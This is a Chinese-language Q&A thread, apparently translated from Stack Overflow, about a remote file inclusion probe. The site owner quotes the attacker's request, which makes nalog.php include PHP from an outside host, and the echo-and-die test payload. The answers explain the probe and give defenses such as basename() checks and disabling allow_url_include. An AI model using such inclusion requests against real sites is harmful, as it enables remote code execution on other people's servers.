一个名叫ShiroHige的家伙正在试图攻击我的网站。
他试图用这个参数打开一个页面:
mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???
如果查看该文本文件,它只是die()
,
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
那么他试图使用什么漏洞(WordPress?)?
编辑1:
我知道他正在尝试使用RFI。
是否有一些可利用的流行脚本(Drupal,phpBB等)?
答案 0 :(得分:11)
一个显而易见的问题,只是未经证实的包括 他正在检查代码是否被执行 如果他在回复中找到了他的签名,他就会知道你的网站已准备好运行他发送的任何代码。
为防止此类攻击,必须严格清理文件名,如果它们恰好是通过HTTP请求发送的。
使用basename()
函数可以快速而便宜地进行验证:
if (empty($_GET['page']))
$_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
header("HTTP/1.0 404 Not Found");
$page="404.html";
}
include $page;
或使用一些正则表达式。
还有一个非常有用的PHP配置指令,名为
allow_url_include
在现代PHP版本中默认设置为off
。因此它可以自动保护您免受此类攻击。
答案 1 :(得分:4)
攻击者瞄准的漏洞可能是利用PHP include
和类似函数/构造的某种远程文件包含,允许加载(remote) file并执行其内容:
安全警告
可以在远程服务器上处理远程文件(取决于文件扩展名和远程服务器是否运行PHP的事实),但它仍然必须生成有效的PHP脚本,因为它将在本地服务器上处理。如果应该在那里处理来自远程服务器的文件并仅输出,
readfile()
是更好的功能。否则,应特别注意保护远程脚本以生成有效和所需的代码。
请注意,使用readfile
只会避免执行加载的文件。但是仍然可以利用它来加载其他内容然后直接打印给用户。这可以用于打印本地文件系统中任何类型的文件的普通内容(即Path Traversal)或将代码注入页面(即Code Injection)。所以唯一的保护是在使用它之前验证参数值。
有关详细信息,另请参阅OWASP’s Development Guide on “File System – Includes and Remote files”。
答案 2 :(得分:1)
他正试图让你的网站运行他的文件。这可能是XSS攻击?不太熟悉这些术语(编辑:RFI - Remote file inclusion)。
他很不知道自己在做什么。如果有办法进入WordPress,那么现在它将非常公开。
答案 3 :(得分:1)
看起来攻击的目的是在易受攻击的网站上打印出“ShiroHige”。
这个想法是,你使用include,但是不要清理你的输入,然后执行这个文本文件中的php。如果这样做,那么他可以将任何PHP代码发送到您的网站并执行它。
可以在此处找到类似文件的列表。 http://tools.sucuri.net/?page=tools&title=blacklist&detail=072904895d17e2c6c55c4783df7cb4db
答案 4 :(得分:0)
如果您的网站容易受到外部包含的影响,我认为这只是第一次测试。如果打印出回声,他知道可以注入代码。
答案 5 :(得分:0)
你没有详细说明情况,也没有留下很多想象力。
我的猜测是他正试图利用allow_url_fopen。而现在他只是测试代码,看看他能做些什么。这是第一波!
答案 6 :(得分:-2)
我认为这只是一个恶意网址。一旦我将其输入浏览器,Avast防病毒软件就声称它是一个恶意网址。因此,php代码可能是欺骗性的,或者他可能只是在测试。其他可能性是黑客没有恶意,只是想表明他可以克服你的安全。